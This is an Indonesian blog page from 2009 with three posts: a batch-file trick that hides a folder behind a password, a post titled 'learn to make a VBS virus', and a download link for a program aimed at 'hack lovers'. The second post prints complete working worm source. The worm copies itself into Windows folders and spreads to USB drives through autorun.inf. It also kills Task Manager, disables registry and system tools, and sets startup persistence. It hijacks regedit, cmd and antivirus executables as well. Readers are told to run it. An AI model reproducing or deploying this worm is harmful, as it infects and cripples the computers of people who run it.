Minggu, 31 Mei 2009

MemPassword Folder Tanpa Program


Trik Mengunci Folder Tanpa Software
Punya file rahasia? Yang ngga boleh diliat orang lain? Arsip kerja mungkin, atau film + foto
Nah, ini ada cara buat ngunci folder tanpa software apapun lho...
Walaupun sebenernya udah basi, tapi lumayan buat yang ngga tau, hehehe.
Gini caranya:



1. Buka Notepad (klik Start > All Programs > Accessories > Notepad). Trus kopi kode-kode di bawah ini ke Notepad.
@ECHO OFF
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Serius nich mau ngunci ?? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Pilihan Ngawur.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Foldernya dah terkunci
goto End
:UNLOCK
echo Weisss... Enak aja lu mau buka-buka... Masukin Password dulu dong...
set/p "pass=>"
if NOT %pass%== Anarchy goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Foldernya udah ngga dikunci lagi...
goto End
:FAIL
echo Passwordnya salah tuuuuh
goto end
:MDLOCKER
md Locker
echo Foldernya berhasil di buat
goto End
:End
Jangan lupa ganti tulisan Anarchy sama password yang mau lo pake (terserah lo, tapi cuma bisa satu kata, ngga boleh lebih), ini bakal dibutuhin buat buka file lo nanti.

2. Simpan code yang di Notepad tadi dengan nama kunci.bat

3. Klik dua kali kunci.bat, muncul folder bernama Locker.

4. Lo masukin file rahasianya ke folder Locker tadi.

5. Klik 2 kali kunci.bat tadi. Tulis Y trus klik enter. Folder Locker-nya bakal hilang. Udah, file tersimpan dengan sukses...

6. Kalo lo mau liat file yang di dalem folder Locker-nya tadi, klik dua kali kunci.bat, masukin password (Anarchy). Folder Locker-nya keluar kan? Udah deh... Kalo mau ngunci tu folder, tinggal klik dua kali kunci.bat trus tulis Y trus klik enter. Ilang lagi deh tuh folder Locker...

Sip... Jadi deh.. Gampang kan? hehehe

FYI, file yang gini-gini (make kode semacam di atas dan disimpen dalam *.bat) itu namanya MS DOS Batch File atau sering disebut File Batch.

Belajar Buat Virus Dengan Vbs

Ni Adalah Sebuah Script Virus Vbs Yang Sangat Sederhana Virus Ni Dapat Di Ubah Di Tambah Dengan Selera Anda Masing2, Untuk Mempersingkat Waktu Dan Biar Gak Banyak Bacot Ni Scriptnya :
'Anarchy - not - Death
'
on error resume next

'Dim kata-kata berikut
dim rekur,windowpath,flash,anarki,af,autrn,at,rgdt,an,check,ad

'siapkan isi autorun
autrn = "[autorun]" & vbcrlf & "shellexecute=wscript.exe Anarchy.dll.vbs" & vbcrlf & "open=Anarchy.dll.vbs"
set anarki = createobject("Scripting.FileSystemObject")
set af = anarki.getfile(Wscript.ScriptFullname)
dim text,size
size = af.size
check = af.drive.drivetype
set text = af.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'buat file induk
Set dirwin = anarki.GetSpecialFolder(0)
Set dirsystem = anarki.GetSpecialFolder(1)
Set dirtemp = anarki.GetSpecialFolder(2)
Set ac = anarki.GetFile(WScript.ScriptFullName)
ac.Copy(dirsystem&"\Anarchy.dll.vbs")
ac.attributes =4
ac.attributes =2
ac.Copy(dirwin&"\Anarchy.dll.vbs")
ac.attributes =4
ac.attributes =2
ac.Copy(dirsystem&"\pubprn.vbs")
ac.attributes =4
ac.attributes =2

'sebar ke removable disc ditambahkan dengan Autorun.inf
for each flash in anarki.drives

If (flash.drivetype = 1 or flash.drivetype = 2) and flash.path <> "A:" then

set at=anarki.getfile(flash.path &"\Anarchy.dll.vbs”")
ac.attributes =4
ac.attributes =2
set at=anarki.createtextfile(flash.path &"\Anarchy.dll.vbs",2,true)
at.write rekur
at.close
set at=anarki.getfile(flash.path &"\Anarchy.dll.vbs")
ac.attributes =4
ac.attributes =2
set at =anarki.getfile(flash.path &"\autorun.inf")
ac.attributes =4
ac.attributes =2
set at=anarki.createtextfile(flash.path &"\autorun.inf",2,true)
at.write autrn
at.close
set at = anarki.getfile(flash.path &"\autorun.inf")
ac.attributes =4
ac.attributes =2
end if
wscr.exec("c:/Anarchy.dll.vbs")
wscr.exec(dirwin&"\Anarchy.dll.vbs")
wscr.exec(dirsystem&"\Anarchy.dll.vbs")
On Error Resume Next
CreateObject("WScript.Shell")
.run "taskkill /f /im taskmgr.exe", vbhide
'Manipulasi Registry

set rgdt = createobject("WScript.Shell")

'Ubah IE Title
rgdt.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title",".:: AnarchyX ::."

'File Hidden tak terlihat
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden",2, "REG_DWORD"

'Blokir Find, FolderOptions, Run, Regedit, Task Manager, dan klik kanan
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1","REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","1","REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","1", "REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","1","REG_DWORD"
rgdt.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hidden","1","REG_DWORD"

on error resume next
'Aktifkan saat Windows Startup
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyW", "C:\WINDOWS\Anarchy.dll.vbs", "REG_SZ"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyS", "C:\WINDOWS\system32\Anarchy.dll.vbs", "REG_SZ"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyC", "C:\Anarchy.dll.vbs", "REG_SZ"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyD", "D:\Anarchy.dll.vbs", "REG_SZ"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyE", "E:\Anarchy.dll.vbs", "REG_SZ"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\anarchyF", "F:\Anarchy.dll.vbs", "REG_SZ"


'Alihkan aplikasi berikut. Jika dibuka maka program terbuka dengan Notepad
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RegistryEditor.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-CLN.exe\Debugger","notepad.exe"
rgdt.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PCMAV-RTP.exe\Debugger","notepad.exe"
'Bonus
if check <> 1 then
Wscript.sleep 1500
end if
next
loop while check <> 1
set ad = createobject("Wscript.shell")
ad.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname

Copy - Paste Ke NotepAd SAve Dengan Nama Anarchy.dll.vbs Ke directory Yang Anda Inginkan Sebagai Contoh C:\Anarchy\ Kemudian Jalankan Untuk Mengetahui Fungsi Kerja Virus Ini
Good Luck

Search Engine

Hey Para Pencinta Dunia Hack, Ni gue Punya Program Asal Buat Yang Penting Kegunaannya OK.
Ni program Buat Yang Suka Sekali Mencari Data,Video,Gambar Dan Lain-lain Coba Ni Program
Klik Download
Selamat Mencoba